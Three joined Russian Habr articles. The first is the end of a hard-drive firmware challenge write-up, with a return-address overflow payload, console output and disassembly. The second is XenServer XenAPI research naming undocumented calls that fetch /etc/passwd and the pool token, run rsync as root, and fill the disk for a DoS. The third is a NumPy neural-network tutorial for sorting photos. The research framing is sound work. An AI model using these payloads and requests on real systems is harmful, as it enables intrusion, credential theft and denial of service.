R1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA5C2D3300AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA782D3300AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9C2D3300
```
```
Welcome to minicom 2.7.1
OPTIONS: I18n
Compiled on Aug 13 2017, 15:25:34.
Port /dev/ttyS0, 18:23:04
Press CTRL-A Z for help on special keys
Rst 0x08M
Servo Processor Is Reset.
RW: Disc Ctlr Initialization Completed.
ExecuteSpinRequest
(P) SATA Reset
ASCII Diag mode
F3 T>R1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA5C2D3300AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA782D3300AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9C2D3300
Key generated: ${SORRY_HABR_DONT_WANT_TO_LEAK_THE_FLAG}
LED:00000067 FAddr:00000084
LED:00000067 FAddr:00000084
CTRL-A Z for help | 38400 8N1 | NOR | Minicom 2.7.1 | VT102 | Offline | ttyS0
```
**Ура!** Мы успешно заставили программу отдать ключи.
Строки, которые вы видите после ключа являются сообщениями об ошибке. Дело в том, что когда мы абьюзим адрес возврата (особенно несколько раз), возврат после key\_part4 отправит процессор исполнять неизвестный нам код. И там, черт пойми что происходит - процессор пытается интерпретировать память как исполняемый код по тем адресам, где его может и не быть. В данном случае он был, и нас, каким-то образом, зарулило по адресу 0x00000084. Там он наткнулся на инструкцию, которая не является валидным кодом операции (опкодом). Такие случаи заранее определены в таблице **Interrupt Vectors** - эта таблица есть в самом начале памяти (адреса сразу после 0x00000000), и она определяет реакцию процессора на те, или иные инциденты. В нашем случае, запись в таблице **Interrupt Vectors** говорит процессору прыгнуть на тот код, который сформирует строку с адресом невалидного опкода, и покажет это сообщение (что такое LED я до сих пор не понял). Спастись от такого можно только подав hardware reset на какую-то из ножек процессора и, тем самым, перезагрузить плату на жестком диске. Datasheet по таким LSI чипам хранится под 7-мью замками и является конфиденциальной информацией. Как, на какую ножку, и сколько подавать питания - мне (да и никому) не известно. Просто обесточить диск и подать питание снова будет достаточно :D
Пробуем ключ в качестве пароля к архиву level\_3.lod.7z.encrypted.
```
user@ubuntu:/media/user/LEVEL2$ 7z x level_3.lod.7z.encrypted
7-Zip [64] 17.03 : Copyright (c) 1999-2020 Igor Pavlov : 2017-08-28
p7zip Version 17.03 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,8 CPUs x64)
Scanning the drive for archives:
1 file, 654559 bytes (640 KiB)
Extracting archive: level_3.lod.7z.encrypted
--
Path = level_3.lod.7z.encrypted
Type = 7z
Physical Size = 654559
Headers Size = 143
Method = LZMA:20 7zAES
Solid = -
Blocks = 1
Enter password (will not be echoed): [Ctrl+V here]
Everything is Ok
Size: 1014784
Compressed: 654559
user@ubuntu:/media/user/LEVEL2$ file level_3.lod
level_3.lod: data
```
Ключ подошел и мы получили новый файл прошивки. Прошив диск этим level\_3.lod файлом, и переподключив его, мой debian-неттоп распознал раздел LEVEL3. На нем и продолжится наше приключение в третьей статье этого цикла о взломе диска.
Поскольку в этой статье я давал лишь кусочки из файла level\_2.html, думаю, вам будет интересно взглянуть на него целиком. Копируем, сохраняем в html и открываем в браузере:
level\_2.html
```
ROM:00332D00
ROM:00332D00 ; Segment type: Pure code
ROM:00332D00 AREA ROM, CODE, READWRITE, ALIGN=0
ROM:00332D00 ; ORG 0x332D00
ROM:00332D00 CODE16
ROM:00332D00
ROM:00332D00 ; =============== S U B R O U T I N E =======================================
ROM:00332D00
ROM:00332D00 ; prototype: generate\_key(key\_part\_num, integrity\_validate\_table, key\_table)
ROM:00332D00 ; Function called when serial console input is 'R'. Generates key parts in R0-R3.
ROM:00332D00 ; The next level to reach, the key parts to print you must!
ROM:00332D00
ROM:00332D00 generate\_key
ROM:00332D00
ROM:00332D00 var\_28 = -0x28
ROM:00332D00
ROM:00332D00 PUSH {R4-R7,LR}
ROM:00332D02 SUB SP, SP, #0x10
ROM:00332D04 MOVS R7, R1
ROM:00332D06 MOVS R4, R2
ROM:00332D08 MOVS R5, R0
ROM:00332D0A LDR R1, =0x6213600 ; "R"...
ROM:00332D0C LDRB R0, [R1,#1]
ROM:00332D0E CMP R0, #0x31
ROM:00332D10 BNE loc\_332D1A
ROM:00332D12 ADDS R0, R1, #2
ROM:00332D14 BLX ahex2byte
ROM:00332D18 LDR R1, =0x6213600
ROM:00332D1A
ROM:00332D1A loc\_332D1A ; CODE XREF: generate\_key+10j
ROM:00332D1A MOV R2, SP
ROM:00332D1C
ROM:00332D1C loc\_332D1C ; CODE XREF: generate\_key+28j
ROM:00332D1C LDRB R6, [R1]
ROM:00332D1E ADDS R1, R1, #1
ROM:00332D20 CMP R6, #0xD
ROM:00332D22 BEQ loc\_332D2A
ROM:00332D24 STRB R6, [R2]
ROM:00332D26 ADDS R2, R2, #1
ROM:00332D28 B loc\_332D1C
ROM:00332D2A ; ---------------------------------------------------------------------------
ROM:00332D2A
ROM:00332D2A loc\_332D2A ; CODE XREF: generate\_key+22j
ROM:00332D2A SUBS R5, #0x49
ROM:00332D2C CMP R5, #9
ROM:00332D2E BGT loc\_332DD8
ROM:00332D30 LSLS R5, R5, #1
ROM:00332D32 ADDS R5, R5, #6
ROM:00332D34 MOV R0, PC
ROM:00332D36 ADDS R5, R0, R5
ROM:00332D38 LDRH R0, [R5]
ROM:00332D3A ADDS R0, R0, R5
ROM:00332D3C BX R0
ROM:00332D3C ; ---------------------------------------------------------------------------
ROM:00332D3E DCW 0x15
ROM:00332D40 DCW 0xA6
ROM:00332D42 DCW 0xA4
ROM:00332D44 DCW 0xA2
ROM:00332D46 DCW 0xA0
ROM:00332D48 DCW 0x9E
ROM:00332D4A DCW 0x2E
ROM:00332D4C DCW 0x50
ROM:00332D4E DCW 0x98
ROM:00332D50 DCW 0xC
ROM:00332D52 ; ---------------------------------------------------------------------------
ROM:00332D52
ROM:00332D52 key\_part1
ROM:00332D52 LDR R0, [R4]
ROM:00332D54 MOVS R6, #1
ROM:00332D56 STR R6, [R7]
ROM:00332D58 BLX loc\_332DEC
ROM:00332D5C CODE32
ROM:00332D5C
ROM:00332D5C key\_part2
ROM:00332D5C LDR R6, [R7]
ROM:00332D60 CMP R6, #1
ROM:00332D64 LDREQ R1, [R4,#4]
ROM:00332D68 EOREQ R1, R1, R0
ROM:00332D6C MOVEQ R6, #1
ROM:00332D70 STREQ R6, [R7,#4]
ROM:00332D74 B loc\_332DEC
ROM:00332D78 ; ---------------------------------------------------------------------------
ROM:00332D78
ROM:00332D78 key\_part3
ROM:00332D78 LDR R6, [R7]
ROM:00332D7C CMP R6, #1
ROM:00332D80 LDREQ R6, [R7,#4]
ROM:00332D84 CMPEQ R6, #1
ROM:00332D88 LDREQ R2, [R4,#8]
ROM:00332D8C EOREQ R2, R2, R1
ROM:00332D90 MOVEQ R6, #1
ROM:00332D94 STREQ R6, [R7,#8]
ROM:00332D98 B loc\_332DEC
ROM:00332D9C ; ---------------------------------------------------------------------------
ROM:00332D9C
ROM:00332D9C key\_part4
ROM:00332D9C LDR R6, [R7]
ROM:00332DA0 CMP R6, #1
ROM:00332DA4 LDREQ R6, [R7,#4]
ROM:00332DA8 CMPEQ R6, #1
ROM:00332DAC LDREQ R6, [R7,#8]
ROM:00332DB0 CMPEQ R6, #1
ROM:00332DB4 LDREQ R3, [R4,#0xC]
ROM:00332DB8 EOREQ R3, R3, R2
ROM:00332DBC MOVEQ R6, #1
ROM:00332DC0 STREQ R6, [R7,#8]
ROM:00332DC4 LDR R4, =0x35A036 ; "Key Generated: %s%s%s%s"
ROM:00332DC8 BLX loc\_332DDC
ROM:00332DCC MOV R1, SP
ROM:00332DD0 LDR R4, =0x35A05C ; "SP: %x"
ROM:00332DD4 BLX loc\_332DDC
ROM:00332DD8 CODE16
ROM:00332DD8
ROM:00332DD8 loc\_332DD8 ; CODE XREF: generate\_key+2Ej
ROM:00332DD8 LDR R4, =0x35A020 ; "key not generated"
ROM:00332DDA NOP
ROM:00332DDC
ROM:00332DDC loc\_332DDC ; CODE XREF: generate\_key+C8p
ROM:00332DDC ; generate\_key+D4p
ROM:00332DDC SUB SP, SP, #4
ROM:00332DDE STR R0, [SP,#0x28+var\_28]
ROM:00332DE0 MOVS R0, R4
ROM:00332DE2 LDR R4, =0x68B08D
ROM:00332DE4 BLX R4
ROM:00332DE6 ADD SP, SP, #4
ROM:00332DE8 BLX loc\_332DEC
ROM:00332DE8 ; End of function generate\_key
ROM:00332DE8
ROM:00332DEC CODE32
ROM:00332DEC
ROM:00332DEC loc\_332DEC ; CODE XREF: generate\_key+58p
ROM:00332DEC ; generate\_key+74j ...
ROM:00332DEC ADD SP, SP, #0x20
ROM:00332DF0 LDR LR, [SP],#4
ROM:00332DF4 BX LR
ROM:00332DF8
ROM:00332DF8 ; =============== S U B R O U T I N E =======================================
ROM:00332DF8
ROM:00332DF8
ROM:00332DF8 ahex2byte ; CODE XREF: generate\_key+14p
ROM:00332DF8 STMFD SP!, {R4-R6,LR}
ROM:00332DFC MOV R4, R0
ROM:00332E00 MOV R6, R0
ROM:00332E04
ROM:00332E04 loc\_332E04 ; CODE XREF: ahex2byte+6Cj
ROM:00332E04 LDRB R0, [R4]
ROM:00332E08 CMP R0, #0xD
ROM:00332E0C BEQ loc\_332E68
ROM:00332E10 BL sub\_332E70
ROM:00332E14 CMN R0, #1
ROM:00332E18 BNE loc\_332E2C
ROM:00332E1C LDRB R0, [R4]
ROM:00332E20 BL sub\_332E98
ROM:00332E24 CMN R0, #1
ROM:00332E28 BEQ locret\_332E6C
ROM:00332E2C
ROM:00332E2C loc\_332E2C ; CODE XREF: ahex2byte+20j
ROM:00332E2C MOV R5, R0
ROM:00332E30 LDRB R0, [R4,#1]
ROM:00332E34 BL sub\_332E70
ROM:00332E38 CMN R0, #1
ROM:00332E3C BNE loc\_332E50
ROM:00332E40 LDRB R0, [R4,#1]
ROM:00332E44 BL sub\_332E98
ROM:00332E48 CMN R0, #1
ROM:00332E4C BEQ locret\_332E6C
ROM:00332E50
ROM:00332E50 loc\_332E50 ; CODE XREF: ahex2byte+44j
ROM:00332E50 MOV R5, R5,LSL#4
ROM:00332E54 ADD R0, R5, R0
ROM:00332E58 STRB R0, [R6]
ROM:00332E5C ADD R4, R4, #2
ROM:00332E60 ADD R6, R6, #1
ROM:00332E64 B loc\_332E04
ROM:00332E68 ; ---------------------------------------------------------------------------
ROM:00332E68
ROM:00332E68 loc\_332E68 ; CODE XREF: ahex2byte+14j
ROM:00332E68 STRB R0, [R6]
ROM:00332E6C
ROM:00332E6C locret\_332E6C ; CODE XREF: ahex2byte+30j
ROM:00332E6C ; ahex2byte+54j
ROM:00332E6C LDMFD SP!, {R4-R6,PC}
ROM:00332E6C ; End of function ahex2byte
ROM:00332E6C
ROM:00332E70
ROM:00332E70 ; =============== S U B R O U T I N E =======================================
ROM:00332E70
ROM:00332E70
ROM:00332E70 sub\_332E70 ; CODE XREF: ahex2byte+18p
ROM:00332E70 ; ahex2byte+3Cp
ROM:00332E70 CMP R0, #0xD
ROM:00332E74 BEQ loc\_332E90
ROM:00332E78 CMP R0, #0x30
ROM:00332E7C BLT loc\_332E90
ROM:00332E80 CMP R0, #0x39
ROM:00332E84 BGT loc\_332E90
ROM:00332E88 SUB R0, R0, #0x30
ROM:00332E8C B locret\_332E94
ROM:00332E90 ; ---------------------------------------------------------------------------
ROM:00332E90
ROM:00332E90 loc\_332E90 ; CODE XREF: sub\_332E70+4j
ROM:00332E90 ; sub\_332E70+Cj ...
ROM:00332E90 MVN R0, #0
ROM:00332E94
ROM:00332E94 locret\_332E94 ; CODE XREF: sub\_332E70+1Cj
ROM:00332E94 BX LR
ROM:00332E94 ; End of function sub\_332E70
ROM:00332E94
ROM:00332E98
ROM:00332E98 ; =============== S U B R O U T I N E =======================================
ROM:00332E98
ROM:00332E98
ROM:00332E98 sub\_332E98 ; CODE XREF: ahex2byte+28p
ROM:00332E98 ; ahex2byte+4Cp
ROM:00332E98 CMP R0, #0x41
ROM:00332E9C BLT loc\_332EB4
ROM:00332EA0 CMP R0, #0x46
ROM:00332EA4 BGT loc\_332EB4
ROM:00332EA8 SUB R0, R0, #0x41
ROM:00332EAC ADD R0, R0, #0xA
ROM:00332EB0 B locret\_332EB8
ROM:00332EB4 ; ---------------------------------------------------------------------------
ROM:00332EB4
ROM:00332EB4 loc\_332EB4 ; CODE XREF: sub\_332E98+4j
ROM:00332EB4 ; sub\_332E98+Cj
ROM:00332EB4 MVN R0, #0
ROM:00332EB8
ROM:00332EB8 locret\_332EB8 ; CODE XREF: sub\_332E98+18j
ROM:00332EB8 BX LR
ROM:00332EB8 ; End of function sub\_332E98
ROM:00332EB8
ROM:00332EB8 ; ---------------------------------------------------------------------------
ROM:00332EBC dword\_332EBC DCD 0x6213600 ; DATA XREF: generate\_key+Ar
ROM:00332EC0 dword\_332EC0 DCD 0x6213600 ; DATA XREF: generate\_key+18r
ROM:00332EC4 dword\_332EC4 DCD 0x35A036 ; DATA XREF: generate\_key+C4r
ROM:00332EC8 dword\_332EC8 DCD 0x35A05C ; DATA XREF: generate\_key+D0r
ROM:00332ECC dword\_332ECC DCD 0x35A020 ; DATA XREF: generate\_key:loc\_332DD8r
ROM:00332ED0 off\_332ED0 DCD 0x68B08D ; DATA XREF: generate\_key+E2r
ROM:00332ED4 DCB 0, 0, 0, 0
ROM:00332ED4 ; ROM ends
ROM:00332ED4
ROM:00332ED4 END
```
Что может быть сложнее?
-----------------------
Друзья! Предыдущая статья была заплюсована до 2го месте в топе за сутки! Это просто феноменально! Я искренне благодарен каждому, кто ее посмотрел.
Статью, которую вы дочитали сейчас, было невероятно сложно писать. Я уделял ей время каждый вечер на протяжении последней недели. Объяснять такие вещи на широкую публику чертовски сложно, поэтому я буду очень благодарен вашим плюсикам.
Моего понимания было достаточно (почти достаточно - подсказку я, все же просрал) для того чтоб решить эту задачу, но как видите, во многих местах я теряюсь. Все что я описал в этой статье является лишь моим видением происходящего, и если вы видите парочку бредовых мыслей, не стесняйтесь писать комментарий, или написать мне в личку. Я буду только рад тому, что пойму эти вещи лучше.
Также, подписывайтесь на мой инстаграм - @o.tkachuk
Последние 6 лет я работаю, и параллельно путешествую по Европе. Засирать ленту не буду. You have my word on it.
В следующей статье нас ждет самое сложное задание, с которым я боролся полтора месяца. Но, оно того стоило - я написал свой, первый в жизни, **шеллкод**. Так что, stay tuned!
Благодарочка пользователю [@raven19](/users/raven19) за вычитку этой статьи и ликбез по русскому языку.
**P.S.** Хочу передать привет Андрюхе. Спасибо, что давал root тогда, когда я ходил пешком под стол. | https://habr.com/ru/post/549578/ | null | ru | null |
# «Занимательный XenAPI», или «Новые приключения Citrix XenServer»
Привет, коллеги!
Сегодня я хотел бы продолжить свое повествование о **Citrix XenServer 5.6** и о разных аспектах работы с ним. В этот раз мне пришлось решать довольно простую (казалось бы!) проблему: исполнение команд в **dom0** без применения **SSH**. Изучение возможностей для реализации привело к обнаружению некоторых забавных нюансов HTTP API данной ОС: способов получения **/etc/passwd**, удаленного выполнения **rsync** и набросков **XenSource thin CLI protocol**. Сейчас я расскажу вам, что называется, историю одного ресёрча…
Прежде всего, хотелось бы объяснить, как возникла подобная задача. В [предыдущей серии](http://habrahabr.ru/company/pt/blog/140886/) я показывал публичную бета-версию секьюрити-гайда для **XenServer**, которую я «пилю» в надежде написать внятное руководство. Одна из рекомендаций (по аналогии с [security hardening guide](http://www.vmware.com/files/pdf/techpaper/VMware_vSphere_HardeningGuide_May10_EN.pdf) для **VMWare ESXi**) — отключение SSH-демона. Мотивация заключается в том, что в корпоративной версии Xen есть возможность использовать **RBAC-систему** с аутентификацией через Active Directory. Согласно рекомендациям вендора, этот путь с точки зрения безопасности является предпочтительным. После некоторой модификации сценариев запуска консоли на **dom0**, описанных в [моем руководстве](http://www.ptsecurity.com/download/XenServer-Free-5-6-SHG.pdf), попадание через нее в систему без пароля исключено. Соответственно, чтобы попасть непосредственно в консоль **dom0** требуется знание не только пароля пользователя с правами **pool-admin**, но и данных учетной записи **root**.
ОК. Теперь перед нами встает задача удаленного аудита операционной системы при помощи автоматизированных средств. Все, что есть в нашем распоряжении, это **XML-RPC**, ведущая к **XenAPI**, документация на нее и исходники Xen-org на прекрасном языке OCaml. Нам же хочется выполнять команды в bash и получать их «выхлоп» для последующей обработки. Как это сделать?
Для начала нужно понять, почему нормальным путем (через консоль, предоставляемую в рамках API) это сделать не получится. Вспомним технологию вызова консоли со стороны клиента: вы подключаетесь к консоли (`https:///console?ref=OpaqueRef:console\_id`), имея валидный session\_id, и попадаете на [RFB-терминал](http://en.wikipedia.org/wiki/RFB_protocol) **vncterm**. Понятно, что данный протокол позволяет отправлять действия мышки и нажатия кнопок на удаленный сервер, а в ответ получать растровые изображения экрана. Дальнейшее очевидно: современные версии протокола RFB позволяют, кроме прочего, передавать файлы. Достаточно освоить еще и исполнение команд — и нет проблем. Однако это было бы слишком просто. В своих терминалах **vncterm** компания Citrix использует [протокол RFB версии 003.003](http://grox.net/doc/apps/vnc/rfbproto.pdf): в ней передача файлов еще не реализована.
С учетом этой печальной новости наша команда разработчиков принялась анализировать возможные методы реализации транспорта через RFB образца **1998** года. Идей появилось две. Первая — интеграция с [ABBYY FineReader](http://www.abbyy.ru/finereader/) (с распознаванием текста на растровых изображениях, получаемых с **dom0**). Вторая — эмуляция движений мыши, которые позволяют выделить текст на экране и отправить его в буфер обмена, доступный в рамках протокола. *Оба варианта при ближайшем рассмотрении напоминают бред сумасшедшего :)*
Невеселые перспективы заставили меня вернуться к чтению документации для **XenAPI**. И я обратил внимание на то, с чем мне до этого не приходилось сталкиваться, — на плагинную архитектуру, а именно на возможность обращения к собственным исполняемым файлам через RPC-вызов **call\_plugin**. Модули расположены в директории **/etc/xapi.d/plugins/**.  Дальше все просто: созданный нами плагин вызывается через **XML-RPC** и запускает соответствующий сценарий на **Python**, который реализует выполнение необходимых команд силами **subprocess**. Отлично! Методология выполнения команд на dom0 и получения от них ответа стала ясна.
Следующая проблема появилась сама собой: каким же образом наш плагин должен попасть на сервер? При решении этой проблемы, собственно, и обнаружились некоторые *«подводные грабли»* **XenAPI**.
Конечно же, меня заинтересовала функция, доступ к которой можно получить при помощи штатной утилиты xe.exe, — **patch-upload**. Она позволяет удаленно загружать файлы на **XenServer** и устанавливать их на весь пул серверов. Формат представления патча достаточно прост: это **shar**, упакованный в zip и подписанный (!) компанией Citrix. О том, как заглянуть в патч и установить его вручную, можно прочесть в заметке компании «Селектел». При загрузке патча его подпись сверяется с соответствующим набором открытых ключей в **gpg keyring**. Таким образом, достаточно добавить собственную подпись в общую связку — и проблема разливки плагина отпадает. Собрать аналогичную конструкцию нетрудно, но чтобы залить свой ключ в связку необходимо иметь доступ к консоли. Получился замкнутый круг. Поэтому я начал искать способ залить свой плагин в обход стандартных методов.
Используя данный вызов, я отметил, что вызова `https:///pool\_patch\_upload` — нет в официальном описании API. Тому есть логичное объяснение: это действительно не часть API. Природное любопытство подсказывает вопрос: «*А что же это тогда такое?*». Способ найти ответ очень прост: **Wireshark**.  Возможно, вы осудите меня за столь прямолинейный подход, но HTTP-интерфейс API операционной системы XenServer описан, к сожалению, чуть менее чем никак. А к моменту работы над этой проблемой я еще не понимал **OCaml** на таком уровне, чтобы анализировать исходный код достаточно эффективно.
Воспользовавшись замечательной возможностью **Wireshark** для расшифровки TLS и заботливо оставленным на виду сертификатом в **/etc/xensource/**, я получил дамп общения утилиты xe.exe (из состава XenCenter) с сервером. Я ожидал увидеть **XML-RPC** общение, описанное в официальной документации. Но не тут-то было! Вместо этого в логе светился «POST /cli HTTP/1.0». Утилита забирала команду, ее атрибуты — и отправляла их на `https:///cli`. «*Кажется, в супе чего-то не хватает*». Из расшифровки протокола следовало, что есть некий **XenSource thin CLI protocol** который и использует утилита. Все пути вели на **Github** к [исходникам XenAPI](https://github.com/xen-org/).
Проведя некоторое время за чтением исходных кодов этого прекрасного компонента гипервизора, я выяснил, что существует данное «**XenSource thin CLI protocol**» API версии 0.2, которое реализует выполнение команд хелпера xe.exe на удаленном хосте. Описано оно в файле [xapi/cli\_protocol.ml](https://github.com/xen-org/xen-api/blob/master/ocaml/xapi/cli_protocol.ml). Примечательно, что это «API будущего», призванное сделать из утилиты xe.exe всего лишь средство для пересылки команд, а обработчик встроить в XenAPI.
В целом обнаружение данного CLI API было судьбоносным: оно показало, что на порте 80\443 существует не только **XML-RPC** приемник и переключатель **/console**. Какие еще модули доступны через подобный вызов — случайно получилось найти в одном из файлов исходного кода ([xen-api/ocaml/idl/constants.ml](https://github.com/xen-org/xen-api/blob/master/ocaml/idl/constants.ml)). Как легко можно догадаться, там обнаружилось множество вызовов, выдававших весьма интересную информацию. Меня покорил вызов `https:///syns\_config\_files`: при достаточных правах (**pool-admin**) вы получаете **/etc/passwd** (как я уже рассказывал в своих прошлых статьях, XenServer хранит хэш паролей именно там).
Еще один интересный вызов реализуется через “`CONNECT /remotecmd?cmd=rsync&arg=some_nice_arg &pool_secret=your_pool_secret`”. Он позволяет, зная значение **/etc/xensource/ptoken**, удаленно выполнять на сервере команду **rsync** с правами **root**. Это дает, в сущности, полный доступ к файловой системе. Но вы, наверное, спросите: «А как же добыть **ptoken**?».
Здесь все еще более тривиально. Разработчики **Xensource** создали возможность удаленно получать содержимое базы pool в виде XML-файла. Если выполнить на сервере запрос вида "`GET /pool/xmldbdump?session_id=`" то вы получите полный набор пар «ключ — значение», среди которых без труда можно найти нужный **pool\_token**.
Ну и, собственно, сама удаленная загрузка патчей осуществляется через вызов "`PUT /pool_patch_upload?session_id=`". В ответ на него сервер напишет: «200, OK». И будет ждать, когда вы начнете заливать в сокет информацию. Как только вы загрузите файл, начнется проверка патча на валидность. Но есть одна особенность: пока вы держите коннект, API считает что вы все еще заливаете файл, и не трогает его (хотя файл уже создан в **/var/patch**). Проверки на длину файла я не обнаружил. Поскольку **/var/patch** находится в корневом разделе сервера, то DoS неизбежен в случае отправки туда **/dev/urandom**.
Конечно, это далеко не все. Приглядеться к вызовам и необходимым правам можно [тут](https://github.com/xen-org/xen-api/blob/master/ocaml/idl/datamodel.ml#L7860).
Весь код отлично документирован, и мне кажется, что при наличии точно сформулированного вопроса найти в нем ответ не составит труда.
В целом же композиции описанных мною методов хватило для успешной заливки патча в систему без проверки подписи. Я не буду делать детальное описание методологии, ибо она граничит с понятием «*эксплуатация уязвимости*», но я думаю, что вы и сами все поняли :)
Спасибо за внимание! | https://habr.com/ru/post/147736/ | null | ru | null |
# Как отличать птиц от цветов. Или цветы от птиц
В качестве программы выходного дня мне захотелось поиграться с как бы «нейронной» сетью (спойлер — в ней нет нейронов). А чтобы потом не было мучительно больно за бесцельно прожитые ~~годы~~ часы, я подумал, что зря мы его кормим, пусть пользу приносит — пусть заодно эта сетка разберет домашний фотоархив и хотя бы разложит фотографии цветов в отдельную папку.
Самая простая сеть
------------------
Самая простая сеть нашлась в статье "[Нейросеть в 11 строчек на Python](https://habrahabr.ru/post/271563/)" (это перевод от [SLY\_G](https://habrahabr.ru/users/sly_g/) статьи "[A Neural Network in 11 lines of Python (Part 1)](http://iamtrask.github.io/2015/07/12/basic-python-network/)", вообще у автора есть еще продолжение "[A Neural Network in 13 lines of Python (Part 2 — Gradient Descent)](http://iamtrask.github.io/2015/07/27/python-network-part2/)", но здесь достаточно первой статьи).
Краткое описание сетки — в этой сети есть ровно одна зависимость — [NumPy](http://www.numpy.org/).
Множество входов рассматривается как матрица , множество выходов — как вектор . В оригинальной статье сеть умножает входную матрицу, размерностью (4 x 3), на матрицу весов входов  (3 x 4), к произведению применяет передаточную функцию, и получает матрицу слоя  (4 x 4).
Далее слой  умножается на матрицу весов выходов  (4 x 1), также пропускается через функцию, и получается слой  (4 x 1), который и есть результат работы сети.
Итого, опуская скалярную передаточную функцию, сеть реализует два матричных умножения:
Следствием этого, согласно правилам матричного умножения, получилось, что одна из размерностей в ходе работы сети не изменяется  и получить на выходе единственное число невозможно.
Поэтому я немного доработал код из статьи, добавил транспонирование после умножения и работу с произвольным числом слоев в сетке. Это дало мне возможность получать любое сочетание размерностей входов и выходов.
Например, если нужно, чтобы было на входе матрица (3 x 4), а выход — единственное число, то добавляем две матрицы синапсов (4 x 1) и (3 x 1):
![$((\begin{bmatrix} 1 & 0 & 0 & 0 \\ 0 & 1 & 0 & 0 \\ 0 & 0 & 1 & 0 \end{bmatrix} \times \begin{bmatrix} 0 \\ 0 \\1 \\ 1 \end{bmatrix})^T \times \begin{bmatrix} 0 \\ 1 \\ 1 \end{bmatrix})^T = [1] \\ (((3 * 4) \times (4 * 1))^T \times (3*1))^T = (1 * 1) \\ $](https://habrastorage.org/getpro/habr/formulas/f56/9e7/911/f569e7911f3e389c24c5895f178faa9d.svg)
Или, скажем, можно преобразовать входную матрицу (10 x 8) на выход (4 x 5):
Получившийся код:
**nnmat.py**
```
import numpy as np
def nonlin(x,deriv=False):
if(deriv==True):
return (x)*(1-(x))
return 1/(1+np.exp(-x))
def fmax(x,deriv=False):
if(deriv==True):
return 0.33
return np.maximum(x,0)/3
class NN:
def __init__(self, shapes, func=nonlin):
self.func = func
self.shapes = shapes
self.syns = [ 2*np.random.random((shapes[i-1][1],shapes[i][0])) - 1
for i in range(1, len(shapes)) ]
self.layers = [ np.zeros(shapes[i])
for i in range(1, len(shapes)) ]
def learn(self, X, y, cycles):
for j in range(cycles):
res = self.calc(X)
prev = y - res
for i in range(len(self.layers)-1,-1,-1):
l_delta = (prev*self.func(self.layers[i], True)).T
if i == 0:
self.syns[i] += X.T.dot(l_delta)
else:
prev = l_delta.dot(self.syns[i].T)
self.syns[i] += self.layers[i-1].T.dot(l_delta)
return self.layers[-1]
def calc(self,X):
for i in range(len(self.syns)):
if i == 0:
self.layers[i] = self.func(np.dot(X,self.syns[i])).T
else:
self.layers[i] = self.func(np.dot(self.layers[i-1],self.syns[i])).T
return self.layers[-1]
if __name__ == '__main__':
X = np.array([ [0,0,1],[0,1,1],[1,0,1],[1,1,1] ])
y = np.array([[0,1,1,0]])
print('X =',X)
print('y =',y)
nn = NN((X.shape, (y.shape[1], X.shape[0]), y.shape))
nn.learn(X,y,1000)
print('Result =',nn.calc(X).round(2))
```
Результат работы:
```
X = [[0 0 1]
[0 1 1]
[1 0 1]
[1 1 1]]
y = [[0 1 1 0]]
Result = [[ 0.02 0.99 0.98 0.02]]
```
Загрузка фотографий
-------------------
Так, сетка есть, теперь надо разобраться с загрузкой фоток. Фотографии лежат на диске, в основном в JPG, но встречаются и другие форматы. Размеры у них тоже разные, смотря чем снимали и как обрабатывали, от 3 Mpx до 16 Mpx.
Сначала я попробовал загружать фотографии через Qt, класс QImage, он умеет работать с разными форматами, обеспечивает конверсию и дает прямой доступ к данным картинки. Наверняка в Python существует способ проще, но зато с QImage мне не надо было разбираться. Чтобы сеть могла работать с картинкой, следует перевести в монохромное изображение и уменьшить до стандартного размера.
```
def readImage(file, imageSize):
img = QImage(file)
if img.isNull():
return 0
img = img.convertToFormat(QImage.Format_Grayscale8)
img = img.scaled(imageSize[0],imageSize[1],Qt.IgnoreAspectRatio)
return img
```
Для передачи в сетку нужно преобразовать изображение в матрицу numpy.ndarray. QImage.bits() дает указатель на данные изображения, где каждый байт соответствует пикселу. В NumPy нашлась функция recarray, способная сделать массив записей из буфера, а у него есть метод view, который нам сделает матрицу numpy.ndarray без копирования данных.
```
srcBi = img.bits()
srcBi.setsize(img.width() * img.height())
srcBy = bytes(srcBi)
srcW, srcH = img.width(), img.height()
srcArr = np.recarray((srcH, srcW), dtype=np.int8, buf=srcBy).view(dtype=np.byte,type=np.ndarray)
```
Сеть для изображений
--------------------
Картинку, хоть и уменьшенную, непосредственно подавать на вход сети будет слишком накладно — я уже говорил, что сеть делает матричное умножение, поэтому даже один цикл обучения будет приводить к 400x400x400 = 64 млн. умножений. Знатоки рекомендуют использовать [свертку](https://ru.wikipedia.org/wiki/%D0%A1%D0%B2%D1%91%D1%80%D1%82%D0%BE%D1%87%D0%BD%D0%B0%D1%8F_%D0%BD%D0%B5%D0%B9%D1%80%D0%BE%D0%BD%D0%BD%D0%B0%D1%8F_%D1%81%D0%B5%D1%82%D1%8C). В Википедии есть замечательная иллюстрация ее работы:
На этой анимации видно, что размерность результата равна размерности исходной матрицы. Но я немного упрощу себе жизнь, буду двигаться не по пикселам, а разобью изображение на кусочки размером равным матрице входов, и применю сетку к ним поочередно. В матрицах вырезание кусочка делается достаточно просто:
```
srcArr[x:x+dw, y:y+dw]
```
Результат обработки кусочков сетью складывается в матрицу меньшего размера, эта матрица передается на вход общей сети. То есть будет две сети — первая работает с кусочками изображения, вторая — с результатом работы первой сети над кусочками.
Создание первичной сети:
```
class ImgNN:
def __init__(self, shape, resultShape = (16, 16), imageSize = (400,400)):
self.resultShape = resultShape
self.w = imageSize[0] // shape[0]
self.h = imageSize[1] // shape[1]
self.net = NN([shape, (1,shape[0]), (1,1)])
self.shape = shape
self.imageSize = imageSize
```
Внутри создается self.net — собственно сеть, с заданным размером матрицы входов shape и c выходом в виде элементарной матрицы 1х1. Да, можно было наследоваться от класса сети NN, но был выходной, хотелось побыстрее получить результат, а архитектура еще не устоялась. Time to market бьется в наших сердцах!
Обсчет изображения первой сетью:
```
def calc(self, srcArr):
w = srcArr.shape[0] // self.shape[0]
